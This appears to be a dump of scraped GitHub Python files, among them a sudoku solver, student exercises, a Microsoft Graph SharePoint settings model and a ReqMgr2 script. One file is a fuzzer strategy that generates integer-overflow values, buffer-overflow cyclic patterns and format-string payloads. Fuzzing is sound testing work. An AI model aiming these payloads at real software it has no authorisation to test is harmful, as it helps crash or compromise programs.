Travelling left to right and top to bottom. '''\n for i in range(9):\n for j in range(9):\n if (sudoku[i][j] == 0):\n l[0] = i\n l[1] = j\n return True\n return False\n\ndef sudokuSolver(sudoku):\n ''' Solves the sudoku. '''\n l = [0,0]\n if (not findEmptyPosition(sudoku, l)):\n print(pss(sudoku))\n return True\n\n x = l[0]\n y = l[1]\n\n for num in range(1, 10):\n # print(x, y, \"->-> \" + str(p))\n # printSudoku(sudoku)\n # print(isLocationSafe(sudoku))\n if (isLocationSafe(sudoku, num, x, y)):\n sudoku[x][y] = num\n\n if (sudokuSolver(sudoku)):\n return True\n\n sudoku[x][y] = 0\n\ndef isLocationSafe(sudoku, num, x, y):\n ''' checks whether the num:param can be\n placed at (x:param,y:param) in the sudoku.\n returns True if possible else False. '''\n # checking row wise duplicasy\n for i in range(9):\n if (sudoku[x][i] == num):\n return False\n\n # checking column wise duplicasy\n for i in range(9):\n if (sudoku[i][y] == num):\n return False\n\n # checking boxes\n x = x - x%3\n y = y - y%3\n box = []\n for i in range(3):\n for j in range(3):\n if (sudoku[i+x][j+y] == num):\n return False\n\n # if everything fine return True\n return True\n\ndef printSudoku(sudoku):\n ''' A nice way to print the sudoku grid. '''\n for i in range(0,9):\n if i%3 == 0:\n print('-------------------------')\n for j in range(0,9):\n if j%3 == 0:\n print('| ', end='')\n print(sudoku[i][j], end=' ')\n\n print('|')\n print('-------------------------')\n\ndef main():\n data = input()\n\n # converting to 9x9 matrix\n sudoku = [ list(map(int, list(data[i*9:i*9+9]))) for i in range(0,9)]\n\n # Solving the sudoku\n sudokuSolver(sudoku)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"gurditsbedi/algorithmsPlus","sub_path":"sudokuSolver.py","file_name":"sudokuSolver.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22096094070","text":"#!/usr/bin/python3\n# coding=utf-8\n#\n# Assignment 6\n# CMPS 5P, Fall 2016\n#\n# Shridhik John\n# shjohn@ucsc.edu\n\n\nimport os.path # will return true if the file exists (found on course web page)\ncomb_hist_words = {}\ncomb_hist_char = {}\ncomb_hist_bi = {}\ncomb_hist_tri = {}\ncomb_tot_word = 0\ncomb_tot_char = 0\ncomb_tot_bi = 0\ncomb_tot_tri = 0\n\ncomb_list_words =[]\ncomb_list_char =[]\ncomb_list_bi =[]\ncomb_list_tri =[]\n\ndef openfile(): # function that opens file\n\n aval = False\n while not aval:\n filename = input(\"What file do you want to import? \", ) # user input for files being opened, stored into variable\n aval = os.path.isfile(filename) # will make sure the file entered exists\n if aval:\n #print(\"Your file,\", filename, \"is available: \")\n #print (\"\")\n return filename\n if len(filename)<1:\n break\n elif not aval:\n print(\"I don't recognize the file,\", filename, \"Try Again!!!\")\n\n print(\"\")\n\n return\n\ndef allfile():\n i=1\n fname1=\"\"\n fname2=\"\"\n fname3=\"\"\n fname4=\"\"\n fname5=\"\"\n fname6=\"\"\n fname7=\"\"\n fname8=\"\"\n fname9=\"\"\n fname10=\"\"\n #numfile = input(\"How many files? \", )\n while i <= 10:\n if i == 1:\n fname1 = openfile()\n print(\"First file is: \", fname1)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n\n if not fname1:\n break\n else:\n i=i+1\n\n elif i == 2:\n fname2 = openfile()\n print(\"Second file=\", fname2)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n if not fname2:\n break\n else:\n i=i+1\n\n elif i == 3:\n fname3 = openfile()\n print(\"Third file=\", fname3)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n if not fname3:\n break\n else:\n i=i+1\n\n elif i == 4:\n fname4 = openfile()\n print(\"Fourth file=\", fname4)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n if not fname4:\n break\n else:\n i = i+1\n\n elif i == 5:\n fname5 = openfile()\n print(\"Fifth file=\", fname5)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n if not fname5:\n break\n else:\n i = i+1\n\n elif i == 6:\n fname6 = openfile()\n print(\"Sixth file=\", fname6)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n if not fname6:\n break\n else:\n i = i+1\n\n elif i == 7:\n fname7 = openfile()\n print(\"Seventh file=\", fname7)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n if not fname7:\n break\n else:\n i = i+1\n\n elif i == 8:\n fname8 = openfile()\n print(\"Eighth file=\", fname8)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n if not fname8:\n break\n else:\n i = i+1\n\n elif i == 9:\n fname9 = openfile()\n print(\"Ninth file=\", fname9)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n if not fname9:\n break\n else:\n i = i+1\n\n elif i == 10:\n fname10 = openfile()\n print(\"Tenth file=\", fname10)\n print(\"PRESS ENTER WHEN DONE ENTERING FILES\")\n print(\"\")\n if not fname10:\n break\n else:\n i = i+1\n\n\n else:\n return\n\n if not fname1:\n return\n else:\n hstgrm(fname1)\n\n if not fname2:\n return\n else:\n hstgrm(fname2)\n\n if not fname3:\n return\n else:\n hstgrm(fname3)\n\n if not fname4:\n return\n else:\n hstgrm(fname4)\n\n if not fname5:\n return\n else:\n hstgrm(fname5)\n\n if not fname6:\n return\n else:\n hstgrm(fname6)\n\n if not fname7:\n return\n else:\n hstgrm(fname7)\n\n if not fname8:\n return\n else:\n hstgrm(fname8)\n\n if not fname9:\n return\n else:\n hstgrm(fname9)\n\n if not fname10:\n return\n else:\n hstgrm(fname10)\n\ndef hstgrm(fname):\n hist_words = {} # initializing all the files\n hist_char = {}\n hist_bi = {}\n hist_tri = {}\n biwd = []\n triwd = []\n tot_word = 0\n tot_char = 0\n tot_bi = 0\n tot_tri = 0\n global comb_tot_word\n global comb_tot_char\n global comb_tot_bi\n global comb_tot_tri\n\n fopen = open(fname)\n for line in fopen:\n\n line=line.lower().replace(\".\",\"\").replace('--',\"\").replace('-',\"\").replace('\"',\"\").replace(\",\",\"\").replace(\"'\",\"\").replace(\"!\",\"\").replace(\";\",\"\").replace(\":\",\"\").replace(\"?\",\"\").strip()\n #print(line)\n line=line.split()\n for word in line:\n if word.isalpha():\n tot_word += 1\n comb_tot_word += 1\n hist_words[word] = hist_words.get(word,0) + 1\n comb_hist_words[word] = comb_hist_words.get(word,0) + 1\n\n for c in word:\n if c.isalpha():\n tot_char += 1\n comb_tot_char += 1\n hist_char[c] = hist_char.get(c,0) + 1\n comb_hist_char[c] = comb_hist_char.get(c,0) + 1\n\n\n\n for i in range(len(word)-1):\n biwd.append(word[i:i+2])\n if len(word)>1:\n tot_bi += len(word)-1\n comb_tot_bi += len(word)-1\n #print(tot_bi)\n\n for j in range(len(word)-2):\n triwd.append(word[j:j+3])\n if len(word)>2:\n tot_tri += len(word)-2\n comb_tot_tri += len(word)-2\n #print(tot_tri)\n\n for bich in biwd:\n hist_bi[bich] = hist_bi.get(bich,0) + 1\n comb_hist_bi[bich] = comb_hist_bi.get(bich,0) + 1\n\n for trich in triwd:\n hist_tri[trich] = hist_tri.get(trich,0) + 1\n comb_hist_tri[trich] = comb_hist_tri.get(trich,0) + 1\n\n\n print(\"\")\n print(\"Letter Frequencies:\")\n list_char=[]\n for key_char, value_char in hist_char.items():\n list_char.append((value_char,key_char))\n list_char.sort(reverse=True)\n for value_char, key_char in list_char[:26]:\n print('{:20s}'.format(key_char), '{:6d}'.format(value_char), '({:.3f}%)' .format(value_char/tot_char*100))\n\n print(\"\")\n print(\"Word Frequencies:\")\n list_word=[]\n for key_word, value_word in hist_words.items():\n list_word.append((value_word,key_word))\n list_word.sort(reverse=True)\n for value_word, key_word in list_word[:25]:\n print('{:20s}'.format(key_word), '{:6d}'.format(value_word), '({:.3f}%)' .format(value_word/tot_word*100))\n\n print(\"\")\n print(\"Bigram Frequencies:\")\n list_biag=[]\n for key_bi, value_bi in hist_bi.items():\n list_biag.append((value_bi,key_bi))\n list_biag.sort(reverse=True)\n for value_bi, key_bi in list_biag[:25]:\n print('{:20s}'.format(key_bi), '{:6d}'.format(value_bi), '({:.3f}%)' .format(value_bi/tot_bi*100))\n\n print(\"\")\n print(\"Trigram Frequencies:\")\n list_triag=[]\n for key_tri, value_tri in hist_tri.items():\n list_triag.append((value_tri,key_tri))\n list_triag.sort(reverse=True)\n for value_tri, key_tri in list_triag[:25]:\n print('{:20s}'.format(key_tri), '{:6d}'.format(value_tri), '({:.3f}%)' .format(value_tri/tot_tri*100))\n\n return()\n\n\n\n\nallfile()\n","repo_name":"Shridhik/Python-Projects","sub_path":"asgn6/lkj.py","file_name":"lkj.py","file_ext":"py","file_size_in_byte":8041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30629134433","text":"from time import sleep\nfrom pwn import *\nimport itertools\nimport logging\n\nfrom ..modules.helper import get_random_string, get_random_format_string\n\nclass TXTStrategy(Strategy):\n def __init__(self, sample_input):\n try:\n print('[*] TXT input detected, mutation started')\n sample_input.seek(0)\n self.txt = sample_input.readlines()\n except Exception as e:\n print(f'[x] TXTStrategy.__init__ error: {e}')\n\n def generate_input(self):\n # 31, 'integer overflow'\n for i in range(31):\n payload = b''\n for _ in self.txt:\n payload += str(1 << i).encode() + b'\\n'\n yield payload\n\n # 13, 'buffer overflow'\n for i in range(13):\n payload = b''\n for _ in self.txt:\n payload += f'{cyclic(1 << i)}\\n'.encode()\n yield payload\n \n # 30, 'expand lines'\n for i in range(1, 11):\n yield b''.join(f'{line[:-1] * i}\\n'.encode() for line in self.txt)\n\n try:\n yield b''.join(f'{-int(line[:-1])}\\n'.encode() for line in self.txt)\n except ValueError:\n yield b''.join(f'{line[:-1]}\\n'.encode() for line in self.txt)\n\n try:\n yield b''.join(f'{-int(line[:-1]) * (2 ** (i + 2))}\\n'.encode() for line in self.txt)\n except ValueError:\n yield b''.join(f'{line[:-1] * (2 ** (i + 2))}\\n'.encode() for line in self.txt)\n\n # 99, 'format strings'\n for i in range(1, 100):\n yield f'%{i}$s %{i}$x %{i}$p %{i}$c\\n'.encode() * len(self.txt)\n\n ## Mutation Based\n payloads = self.mutation_based()\n # len(list(payloads)), 'mutation'\n for payload in list(payloads):\n yield f'{payload}'.encode()\n\n payloads = self.mutate_numbers()\n # len(list(payloads)), 'mutate numbers'\n for payload in list(payloads):\n yield f'{payload}'.encode()\n\n payloads = self.mutate_everything()\n # len(list(payloads)), 'mutate everything'\n for payload in payloads:\n yield f'{payload}'.encode()\n\n # 5, 'numerical perms'\n for i in range(5): # Basic Numeric Permutation of various lengths\n for payload in num_perm(i):\n yield f'{payload}'.encode()\n\n # 4, 'alphabetical perms'\n for i in range(4): # Basic Alphabet Permutation of various lengths\n for payload in alpha_perm(i):\n yield f'{payload}'.encode()\n\n # 4, 'alphanumeric perms'\n for i in range(4): # Basic Alphanumeric Permuation of various lengths\n for payload in alphanum_perm(i):\n yield f'{payload}'.encode()\n\n # Mutate numbers only (SLOW FINE GRAIN)\n def mutation_based(self):\n perm_inputs = []\n for line in self.txt:\n perm_lines = []\n for perm_line in defined_num_perm(line, len(line), -100, 100, 1):\n if isinstance(perm_line, int):\n perm_lines.append(f'{perm_line}\\n'.encode())\n else:\n perm_lines.append(line)\n break\n perm_inputs.append(perm_lines)\n\n return list(itertools.product(*perm_inputs)) if (len(perm_inputs) > 1) else perm_inputs[0]\n\n def mutate_numbers(self):\n # Mutate numbers only (FAST WIDE SWEEP)\n perm_inputs = []\n for line in self.txt:\n perm_lines = []\n for perm_line in defined_num_perm(line, len(line), -5000, 5000, 10):\n if isinstance(perm_line, int):\n perm_lines.append(f'{perm_line}\\n')\n else:\n perm_lines.append(line)\n break\n perm_inputs.append(perm_lines)\n\n return list(itertools.product(*perm_inputs)) if (len(perm_inputs) > 1) else perm_inputs[0]\n\n def mutate_everything(self):\n perm_inputs = []\n for line in self.txt:\n perm_lines = []\n for perm_line in defined_perm(line, len(line)):\n perm_lines.append(f'{perm_line}\\n')\n perm_inputs.append(perm_lines)\n\n return list(itertools.product(*perm_inputs)) if (len(perm_inputs) > 1) else perm_inputs[0]\n\ndef alpha_perm(length):\n alphabet = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\n'\n return itertools.combinations_with_replacement(alphabet, length)\n\ndef num_perm(length):\n alphabet = b'0123456789\\n'\n return itertools.combinations_with_replacement(alphabet, length)\n\ndef alphanum_perm(length):\n alphabet = b'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\n'\n return itertools.combinations_with_replacement(alphabet, length)\n\ndef defined_perm(alphabet, length):\n # do not include trailing \\n\n return itertools.combinations_with_replacement(alphabet[:-1], length - 1)\n\ndef defined_num_perm(alphabet, length, start, stop, speed):\n try:\n int(alphabet[:-1])\n except ValueError:\n return alphabet[:-1]\n return range(start, stop, speed)","repo_name":"lachlanbot/fuzzball","sub_path":"fuzzball/strategies/txt.py","file_name":"txt.py","file_ext":"py","file_size_in_byte":5069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13060760574","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n#\n# Complete the 'solve' function below.\n#\n# The function is expected to return an INTEGER_ARRAY.\n# The function accepts following parameters:\n# 1. INTEGER_ARRAY arr\n# 2. INTEGER_ARRAY queries\n#\n\ndef solve(arr, queries):\n # Write your code here\n res = []\n ln = len(arr)\n for q in queries:\n\n mx = max(arr[:q])\n mn = mx\n for i in range(q, ln):\n if arr[i] > mx:\n mx = arr[i]\n elif arr[i - q] == mx:\n mx = max(arr[i - q + 1:i + 1])\n mn = min(mn, mx)\n # print(mnmx)\n res.append(mn)\n return res\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n first_multiple_input = input().rstrip().split()\n\n n = int(first_multiple_input[0])\n\n q = int(first_multiple_input[1])\n\n arr = list(map(int, input().rstrip().split()))\n\n queries = []\n\n for _ in range(q):\n queries_item = int(input().strip())\n queries.append(queries_item)\n\n result = solve(arr, queries)\n\n fptr.write('\\n'.join(map(str, result)))\n fptr.write('\\n')\n\n fptr.close()\n","repo_name":"shurupyan/hacker-rank-python-training","sub_path":"one_month_preparation_kit/queries_with_fixed_length.py","file_name":"queries_with_fixed_length.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26116570597","text":"# 세 정수를 입력받아 최대값 \r\n\r\nprint('세 정수의 최대값을 구한다')\r\na = int(input('정수 a : '))\r\nb = int(input('정수 b : '))\r\nc = int(input('정수 c : '))\r\n\r\n\r\nmaximum = a \r\nif b > maximum : maximum = b\r\nif c > maximum : maximum = c \r\n\r\nprint(f'최대값은 {maximum}이다.')\r\n\r\ndef max3(a,b,c) :\r\n maximum = a\r\n if b > maximum : maximum = b\r\n if c > maximum : maximum = c\r\n return maximum\r\n\r\nprint(max3(3,5,2)) ","repo_name":"jaewon-huh/DA_DS_dreamtree","sub_path":"파이썬 자료구조 실습/chap01/01-1.py","file_name":"01-1.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15799282798","text":"from __future__ import annotations\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.serialization import Parsable, ParseNode, SerializationWriter\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\nfrom uuid import UUID\n\nif TYPE_CHECKING:\n from .entity import Entity\n from .idle_session_sign_out import IdleSessionSignOut\n from .image_tagging_choice import ImageTaggingChoice\n from .sharing_capabilities import SharingCapabilities\n from .sharing_domain_restriction_mode import SharingDomainRestrictionMode\n\nfrom .entity import Entity\n\n@dataclass\nclass SharepointSettings(Entity):\n # Collection of trusted domain GUIDs for the OneDrive sync app.\n allowed_domain_guids_for_sync_app: Optional[List[UUID]] = None\n # Collection of managed paths available for site creation. Read-only.\n available_managed_paths_for_site_creation: Optional[List[str]] = None\n # The number of days for preserving a deleted user's OneDrive.\n deleted_user_personal_site_retention_period_in_days: Optional[int] = None\n # Collection of file extensions not uploaded by the OneDrive sync app.\n excluded_file_extensions_for_sync_app: Optional[List[str]] = None\n # Specifies the idle session sign-out policies for the tenant.\n idle_session_sign_out: Optional[IdleSessionSignOut] = None\n # Specifies the image tagging option for the tenant. Possible values are: disabled, basic, enhanced.\n image_tagging_option: Optional[ImageTaggingChoice] = None\n # Indicates whether comments are allowed on modern site pages in SharePoint.\n is_commenting_on_site_pages_enabled: Optional[bool] = None\n # Indicates whether push notifications are enabled for OneDrive events.\n is_file_activity_notification_enabled: Optional[bool] = None\n # Indicates whether legacy authentication protocols are enabled for the tenant.\n is_legacy_auth_protocols_enabled: Optional[bool] = None\n # Indicates whether if Fluid Framework is allowed on SharePoint sites.\n is_loop_enabled: Optional[bool] = None\n # Indicates whether files can be synced using the OneDrive sync app for Mac.\n is_mac_sync_app_enabled: Optional[bool] = None\n # Indicates whether guests must sign in using the same account to which sharing invitations are sent.\n is_require_accepting_user_to_match_invited_user_enabled: Optional[bool] = None\n # Indicates whether guests are allowed to reshare files, folders, and sites they don't own.\n is_resharing_by_external_users_enabled: Optional[bool] = None\n # Indicates whether mobile push notifications are enabled for SharePoint.\n is_share_point_mobile_notification_enabled: Optional[bool] = None\n # Indicates whether the newsfeed is allowed on the modern site pages in SharePoint.\n is_share_point_newsfeed_enabled: Optional[bool] = None\n # Indicates whether users are allowed to create sites.\n is_site_creation_enabled: Optional[bool] = None\n # Indicates whether the UI commands for creating sites are shown.\n is_site_creation_u_i_enabled: Optional[bool] = None\n # Indicates whether creating new modern pages is allowed on SharePoint sites.\n is_site_pages_creation_enabled: Optional[bool] = None\n # Indicates whether site storage space is automatically managed or if specific storage limits are set per site.\n is_sites_storage_limit_automatic: Optional[bool] = None\n # Indicates whether the sync button in OneDrive is hidden.\n is_sync_button_hidden_on_personal_site: Optional[bool] = None\n # Indicates whether users are allowed to sync files only on PCs joined to specific domains.\n is_unmanaged_sync_app_for_tenant_restricted: Optional[bool] = None\n # The OdataType property\n odata_type: Optional[str] = None\n # The default OneDrive storage limit for all new and existing users who are assigned a qualifying license. Measured in megabytes (MB).\n personal_site_default_storage_limit_in_m_b: Optional[int] = None\n # Collection of email domains that are allowed for sharing outside the organization.\n sharing_allowed_domain_list: Optional[List[str]] = None\n # Collection of email domains that are blocked for sharing outside the organization.\n sharing_blocked_domain_list: Optional[List[str]] = None\n # Sharing capability for the tenant. Possible values are: disabled, externalUserSharingOnly, externalUserAndGuestSharing, existingExternalUserSharingOnly.\n sharing_capability: Optional[SharingCapabilities] = None\n # Specifies the external sharing mode for domains. Possible values are: none, allowList, blockList.\n sharing_domain_restriction_mode: Optional[SharingDomainRestrictionMode] = None\n # The value of the team site managed path. This is the path under which new team sites will be created.\n site_creation_default_managed_path: Optional[str] = None\n # The default storage quota for a new site upon creation. Measured in megabytes (MB).\n site_creation_default_storage_limit_in_m_b: Optional[int] = None\n # The default timezone of a tenant for newly created sites. For a list of possible values, see SPRegionalSettings.TimeZones property.\n tenant_default_timezone: Optional[str] = None\n \n @staticmethod\n def create_from_discriminator_value(parse_node: Optional[ParseNode] = None) -> SharepointSettings:\n \"\"\"\n Creates a new instance of the appropriate class based on discriminator value\n param parse_node: The parse node to use to read the discriminator value and create the object\n Returns: SharepointSettings\n \"\"\"\n if not parse_node:\n raise TypeError(\"parse_node cannot be null.\")\n return SharepointSettings()\n \n def get_field_deserializers(self,) -> Dict[str, Callable[[ParseNode], None]]:\n \"\"\"\n The deserialization information for the current model\n Returns: Dict[str, Callable[[ParseNode], None]]\n \"\"\"\n from .entity import Entity\n from .idle_session_sign_out import IdleSessionSignOut\n from .image_tagging_choice import ImageTaggingChoice\n from .sharing_capabilities import SharingCapabilities\n from .sharing_domain_restriction_mode import SharingDomainRestrictionMode\n\n from .entity import Entity\n from .idle_session_sign_out import IdleSessionSignOut\n from .image_tagging_choice import ImageTaggingChoice\n from .sharing_capabilities import SharingCapabilities\n from .sharing_domain_restriction_mode import SharingDomainRestrictionMode\n\n fields: Dict[str, Callable[[Any], None]] = {\n \"allowedDomainGuidsForSyncApp\": lambda n : setattr(self, 'allowed_domain_guids_for_sync_app', n.get_collection_of_primitive_values(UUID)),\n \"availableManagedPathsForSiteCreation\": lambda n : setattr(self, 'available_managed_paths_for_site_creation', n.get_collection_of_primitive_values(str)),\n \"deletedUserPersonalSiteRetentionPeriodInDays\": lambda n : setattr(self, 'deleted_user_personal_site_retention_period_in_days', n.get_int_value()),\n \"excludedFileExtensionsForSyncApp\": lambda n : setattr(self, 'excluded_file_extensions_for_sync_app', n.get_collection_of_primitive_values(str)),\n \"idleSessionSignOut\": lambda n : setattr(self, 'idle_session_sign_out', n.get_object_value(IdleSessionSignOut)),\n \"imageTaggingOption\": lambda n : setattr(self, 'image_tagging_option', n.get_enum_value(ImageTaggingChoice)),\n \"isCommentingOnSitePagesEnabled\": lambda n : setattr(self, 'is_commenting_on_site_pages_enabled', n.get_bool_value()),\n \"isFileActivityNotificationEnabled\": lambda n : setattr(self, 'is_file_activity_notification_enabled', n.get_bool_value()),\n \"isLegacyAuthProtocolsEnabled\": lambda n : setattr(self, 'is_legacy_auth_protocols_enabled', n.get_bool_value()),\n \"isLoopEnabled\": lambda n : setattr(self, 'is_loop_enabled', n.get_bool_value()),\n \"isMacSyncAppEnabled\": lambda n : setattr(self, 'is_mac_sync_app_enabled', n.get_bool_value()),\n \"isRequireAcceptingUserToMatchInvitedUserEnabled\": lambda n : setattr(self, 'is_require_accepting_user_to_match_invited_user_enabled', n.get_bool_value()),\n \"isResharingByExternalUsersEnabled\": lambda n : setattr(self, 'is_resharing_by_external_users_enabled', n.get_bool_value()),\n \"isSharePointMobileNotificationEnabled\": lambda n : setattr(self, 'is_share_point_mobile_notification_enabled', n.get_bool_value()),\n \"isSharePointNewsfeedEnabled\": lambda n : setattr(self, 'is_share_point_newsfeed_enabled', n.get_bool_value()),\n \"isSiteCreationEnabled\": lambda n : setattr(self, 'is_site_creation_enabled', n.get_bool_value()),\n \"isSiteCreationUIEnabled\": lambda n : setattr(self, 'is_site_creation_u_i_enabled', n.get_bool_value()),\n \"isSitePagesCreationEnabled\": lambda n : setattr(self, 'is_site_pages_creation_enabled', n.get_bool_value()),\n \"isSitesStorageLimitAutomatic\": lambda n : setattr(self, 'is_sites_storage_limit_automatic', n.get_bool_value()),\n \"isSyncButtonHiddenOnPersonalSite\": lambda n : setattr(self, 'is_sync_button_hidden_on_personal_site', n.get_bool_value()),\n \"isUnmanagedSyncAppForTenantRestricted\": lambda n : setattr(self, 'is_unmanaged_sync_app_for_tenant_restricted', n.get_bool_value()),\n \"personalSiteDefaultStorageLimitInMB\": lambda n : setattr(self, 'personal_site_default_storage_limit_in_m_b', n.get_int_value()),\n \"sharingAllowedDomainList\": lambda n : setattr(self, 'sharing_allowed_domain_list', n.get_collection_of_primitive_values(str)),\n \"sharingBlockedDomainList\": lambda n : setattr(self, 'sharing_blocked_domain_list', n.get_collection_of_primitive_values(str)),\n \"sharingCapability\": lambda n : setattr(self, 'sharing_capability', n.get_enum_value(SharingCapabilities)),\n \"sharingDomainRestrictionMode\": lambda n : setattr(self, 'sharing_domain_restriction_mode', n.get_enum_value(SharingDomainRestrictionMode)),\n \"siteCreationDefaultManagedPath\": lambda n : setattr(self, 'site_creation_default_managed_path', n.get_str_value()),\n \"siteCreationDefaultStorageLimitInMB\": lambda n : setattr(self, 'site_creation_default_storage_limit_in_m_b', n.get_int_value()),\n \"tenantDefaultTimezone\": lambda n : setattr(self, 'tenant_default_timezone', n.get_str_value()),\n }\n super_fields = super().get_field_deserializers()\n fields.update(super_fields)\n return fields\n \n def serialize(self,writer: SerializationWriter) -> None:\n \"\"\"\n Serializes information the current object\n param writer: Serialization writer to use to serialize this model\n Returns: None\n \"\"\"\n if not writer:\n raise TypeError(\"writer cannot be null.\")\n super().serialize(writer)\n writer.write_collection_of_primitive_values(\"allowedDomainGuidsForSyncApp\", self.allowed_domain_guids_for_sync_app)\n writer.write_collection_of_primitive_values(\"availableManagedPathsForSiteCreation\", self.available_managed_paths_for_site_creation)\n writer.write_int_value(\"deletedUserPersonalSiteRetentionPeriodInDays\", self.deleted_user_personal_site_retention_period_in_days)\n writer.write_collection_of_primitive_values(\"excludedFileExtensionsForSyncApp\", self.excluded_file_extensions_for_sync_app)\n writer.write_object_value(\"idleSessionSignOut\", self.idle_session_sign_out)\n writer.write_enum_value(\"imageTaggingOption\", self.image_tagging_option)\n writer.write_bool_value(\"isCommentingOnSitePagesEnabled\", self.is_commenting_on_site_pages_enabled)\n writer.write_bool_value(\"isFileActivityNotificationEnabled\", self.is_file_activity_notification_enabled)\n writer.write_bool_value(\"isLegacyAuthProtocolsEnabled\", self.is_legacy_auth_protocols_enabled)\n writer.write_bool_value(\"isLoopEnabled\", self.is_loop_enabled)\n writer.write_bool_value(\"isMacSyncAppEnabled\", self.is_mac_sync_app_enabled)\n writer.write_bool_value(\"isRequireAcceptingUserToMatchInvitedUserEnabled\", self.is_require_accepting_user_to_match_invited_user_enabled)\n writer.write_bool_value(\"isResharingByExternalUsersEnabled\", self.is_resharing_by_external_users_enabled)\n writer.write_bool_value(\"isSharePointMobileNotificationEnabled\", self.is_share_point_mobile_notification_enabled)\n writer.write_bool_value(\"isSharePointNewsfeedEnabled\", self.is_share_point_newsfeed_enabled)\n writer.write_bool_value(\"isSiteCreationEnabled\", self.is_site_creation_enabled)\n writer.write_bool_value(\"isSiteCreationUIEnabled\", self.is_site_creation_u_i_enabled)\n writer.write_bool_value(\"isSitePagesCreationEnabled\", self.is_site_pages_creation_enabled)\n writer.write_bool_value(\"isSitesStorageLimitAutomatic\", self.is_sites_storage_limit_automatic)\n writer.write_bool_value(\"isSyncButtonHiddenOnPersonalSite\", self.is_sync_button_hidden_on_personal_site)\n writer.write_bool_value(\"isUnmanagedSyncAppForTenantRestricted\", self.is_unmanaged_sync_app_for_tenant_restricted)\n writer.write_int_value(\"personalSiteDefaultStorageLimitInMB\", self.personal_site_default_storage_limit_in_m_b)\n writer.write_collection_of_primitive_values(\"sharingAllowedDomainList\", self.sharing_allowed_domain_list)\n writer.write_collection_of_primitive_values(\"sharingBlockedDomainList\", self.sharing_blocked_domain_list)\n writer.write_enum_value(\"sharingCapability\", self.sharing_capability)\n writer.write_enum_value(\"sharingDomainRestrictionMode\", self.sharing_domain_restriction_mode)\n writer.write_str_value(\"siteCreationDefaultManagedPath\", self.site_creation_default_managed_path)\n writer.write_int_value(\"siteCreationDefaultStorageLimitInMB\", self.site_creation_default_storage_limit_in_m_b)\n writer.write_str_value(\"tenantDefaultTimezone\", self.tenant_default_timezone)\n \n\n","repo_name":"microsoftgraph/msgraph-sdk-python","sub_path":"msgraph/generated/models/sharepoint_settings.py","file_name":"sharepoint_settings.py","file_ext":"py","file_size_in_byte":14037,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"37"} +{"seq_id":"33814664804","text":"#!/usr/bin/env python\n\"\"\"\nThis script can be used to update the status of a request in ReqMgr2.\n\"\"\"\nfrom __future__ import print_function, division\n\nimport json\nimport os\nimport sys\nimport http.client\n\n\ndef setStatus(url, workflow, newstatus):\n headers = {\"Content-type\": \"application/json\",\n \"Accept\": \"application/json\"}\n\n if newstatus in ['closed-out', 'announced', 'aborted', 'rejected']:\n encodedParams = json.dumps({\"RequestStatus\": newstatus, \"cascade\": True})\n else:\n encodedParams = json.dumps({\"RequestStatus\": newstatus})\n\n conn = http.client.HTTPSConnection(url, cert_file=os.getenv('X509_USER_PROXY'), key_file=os.getenv('X509_USER_PROXY'))\n conn.request(\"PUT\", \"/reqmgr2/data/request/%s\" % workflow, encodedParams, headers)\n resp = conn.getresponse()\n if resp.status != 200:\n print(\"Response status: %s\\tResponse reason: %s\\tError-detail: %s\" % (resp.status, resp.reason, resp.getheader(\"x-error-detail\")))\n print(\" FAILED status transition for: %s\" % workflow)\n else:\n print(\" OK!\")\n conn.close()\n\n\ndef getStatus(url, workflow):\n headers = {\"Content-type\": \"application/json\",\n \"Accept\": \"application/json\"}\n\n conn = http.client.HTTPSConnection(url, cert_file=os.getenv('X509_USER_PROXY'), key_file=os.getenv('X509_USER_PROXY'))\n urn = \"/reqmgr2/data/request/%s\" % workflow\n conn.request(\"GET\", urn, headers=headers)\n resp = conn.getresponse()\n if resp.status != 200:\n print(\"Response status: %s\\tResponse reason: %s\\tError-detail: %s\" % (resp.status, resp.reason, resp.msg.getheader(\"x-error-detail\")))\n return None\n else:\n resp = json.loads(resp.read())[\"result\"][0]\n return resp[workflow]['RequestStatus']\n\n\ndef main():\n# url = 'cmsweb.cern.ch'\n url = 'cmsweb-testbed.cern.ch'\n# url = 'alancc7-cloud1.cern.ch'\n# url = 'alancc7-cloud2.cern.ch'\n# url = 'cmsweb-k8s-testbed.cern.ch'\n# url = 'cmsweb-test9.cern.ch'\n\n args = sys.argv[1:]\n if not len(args) == 2:\n print(\"usage: python setrequeststatus.py \")\n sys.exit(0)\n inputFile = args[0]\n newstatus = args[1]\n with open(inputFile, 'r') as fOjb:\n workflows = fOjb.readlines()\n\n for wflowName in workflows:\n wflowName = wflowName.rstrip('\\n')\n currStatus = getStatus(url, wflowName)\n if not currStatus:\n print(\" FAILED to retrieve status for workflow: %s\" % wflowName)\n continue\n print(\"Setting %s status from %s to %s\" % 